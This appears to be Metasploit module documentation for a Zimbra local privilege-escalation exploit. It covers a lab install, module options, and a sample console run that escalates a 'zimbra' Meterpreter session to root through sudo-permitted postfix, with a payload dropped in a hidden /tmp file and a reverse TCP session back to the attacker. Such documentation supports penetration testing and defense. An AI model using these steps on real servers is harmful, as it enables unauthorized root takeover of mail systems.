## Vulnerable Application

Currently, as of 2022-10-14, all versions of Zimbra are vulnerable. Presumably
they'll patch it eventually - I reported it to Zimbra.

### Install Zimbra

My steps to install Zimbra (adapted from Christophe):

Create a VM with the following specs:

```
HDD = 128gb
Memory/etc don't matter
```

Install a local DNS server (note: replace `<ip>` with the host's actual ip)
(other note: replace `apt` with `yum` to do this on a Red Hat-derived system):

```
sudo apt update && sudo apt install dnsmasq
sudo hostnamectl set-hostname mail.example.org
echo "<ip> mail.example.org" | sudo tee -a /etc/hosts
echo -e 'listen-address=127.0.0.1\nserver=8.8.8.8\ndomain=example.org\nmx-host=example.org, mail.example.org, 5\nmx-host=mail.example.org, mail.example.org, 5' | sudo tee /etc/dnsmasq.conf
```

Configure the host to use it:

```
sudo systemctl disable systemd-resolved
sudo systemctl stop systemd-resolved
sudo killall dnsmasq # Seems to be required for Red Hat OSes
sudo systemctl restart dnsmasq
echo "nameserver 127.0.0.1" | sudo tee /etc/resolv.conf
```

Download Zimbra from
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/ - you'll
have to sell your soul and opt-in to spam, but they don't validate your email.

```
tar -xvvzf zcs-*.tgz
cd zcs*
sudo ./install.sh

* Lots of <enter>
* DO NOT install `dnscache` module (respond `N` when it ask), I had conflict issues with the local `dnsmasq`
* Yes change the system
* Setup the admin password, probably turn off auto-updates
```

## Verification Steps

Get a Meterpreter session on the Zimbra server as the `zimbra` user - I used
`exploit/linux/http/zimbra_cpio_cve_2022_41352` but just running a Meterpreter
binary is also fine. To become vulnerable to cve-2022-41352, just `rm $(which pax)`
then reboot.

From there,

You can obviously get a shell however you like. :)

Then:

1. Do: `use exploit/linux/local/zimbra_postfix_priv_esc`
1. Do: `set SESSION 1`
1. Do: `set RHOSTS <target>`
1. Do: `set LHOST <listenerip>`
1. Do: `exploit`

## Options

### SUDO_PATH

The path to `sudo` on the host. If we have a proper environment with `$PATH`
set, which we generally do, simply `sudo` is fine.

### ZIMBRA_BASE

The base where Zimbra is installed. Zimbra typically installs to `/opt/zimbra`,
and I'm not even sure if it _can_ install elsewhere, so this default should be
fine.

### WritableDir

A directory where we can write the payload - by default, `/tmp`.

### PayloadFilename

A specific filename to use as the payload, within `WritableDir`. By default,
it's randomized (with a `.` in front)

## Scenarios

### Escalating a `zimbra` session to `root`, after exploiting cve-2022-41352

```
msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > sessions -l

Active sessions
===============

  Id  Name  Type                   Information                Connection
  --  ----  ----                   -----------                ----------
  1         meterpreter x64/linux  zimbra @ mail.example.org  172.16.166.147:4444 -> 172.16.166.157:47210 (172.16.166.157)

msf exploit(linux/http/zimbra_cpio_cve_2022_41352) > use exploit/linux/local/zimbra_postfix_priv_esc
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/zimbra_postfix_priv_esc) > set SESSION 1
SESSION => 1
msf exploit(linux/local/zimbra_postfix_priv_esc) > exploit

[*] Started reverse TCP handler on 172.16.166.147:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Sending stage (3045348 bytes) to 172.16.166.157
[*] Executing: sudo -n -l
[+] The target appears to be vulnerable.
[*] Creating exploit directory: /tmp/.GPjXSraCDY
[*] Writing '/tmp/.GPjXSraCDY/.qjSY8' (250 bytes) ...
[*] Attempting to trigger payload: sudo /opt/zimbra/common/sbin/postfix -D -v /tmp/.GPjXSraCDY/.qjSY8
[*] Sending stage (3045348 bytes) to 172.16.166.157
[+] Deleted /tmp/.GPjXSraCDY
[*] Meterpreter session 5 opened (172.16.166.147:4444 -> 172.16.166.157:36488) at 2022-10-14 13:19:25 -0700

meterpreter > getuid
Server username: root
```
